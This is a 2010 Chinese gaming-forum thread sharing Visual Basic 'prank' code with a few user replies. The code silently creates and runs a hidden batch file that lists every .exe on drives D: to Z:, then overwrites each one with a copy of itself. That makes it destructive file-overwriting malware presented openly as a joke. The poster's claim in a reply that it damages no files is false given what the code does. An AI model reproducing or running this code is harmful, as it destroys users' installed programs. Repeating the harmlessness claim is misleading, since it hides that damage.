一键打卡 每日打卡 龙鳞魔堡 金豆锻造 荣誉胸章 海底寻宝 非诚勿扰 虚拟刮奖 杂货道具 好友印象 心情随笔 中华银行 家族部落 积分兑换 图片上传 图片压缩 在线翻译 在线查毒
发表新帖 回帖
  

一段要人命的vb代码

中华游戏网 cnyouw写于:中华游戏网-CNYOUW 👦会员:十方破沙羅 🕘时间:2010-09-13 03:00 👀围观:31882人 💬回复:13

             -----------------------------------------------声明---------------------------------------------------------------
如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next '容错句
If Dir("c:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 '打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据
Close #1 '关闭文件
Sleep 200 '延时200秒等待文件生成(主要为了慢机器)
Shell "c:\a.bat", 0 '隐藏运行之
End If
Sleep 60000 '延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 '读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉
Next
End Sub



PS:
其实我也不懂编代码..
不过这个嘛...我只能说...人生在世.害人二字....
虽然是这样说..但至少不会让你重装系统..
玩玩而已的东西...
中华游戏网 cnyouw.cn中华游戏网 cnyouw
SIGNATURE
No.44312
👦 无挂不dnf
  
这个是。。。格式化的吧!
SIGNATURE
No.223099
👹 ewqewq163
  
...看的似懂非懂...- -不理解这个干什么用滴
SIGNATURE
世界教育了我们欺骗,犯罪还冠冕堂皇的说河蟹
No.216231
👧 qinchoudaoti
  
看不懂,要不你再给来个讲解吧
SIGNATURE
开心每一天
No.35036
👦 流星落
  
话说恶搞的VB代码我只会写自动关机的
没学VB编程
SIGNATURE
  
回 7楼(被游街の神) 的帖子
我只能说..这段代码不会造成文件损坏..不会让你重装系统..
你敢做勇敢的小白鼠吗?

另外..为什么总要在我名字前面加上YD二字呢?其实我很单纯的...
SIGNATURE
No.238858
👹 wang0899
  
顶一个,谢谢分享,学习了!
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!cnyouw.cn
快速回复
验证问题:
我们网站的中文名是什么? 正确答案:

Ctrl + Enter 快速发布

🤪为防止个别捣乱会员恶意灌水
注册会员发帖量达到 20
即可解锁快捷表情发送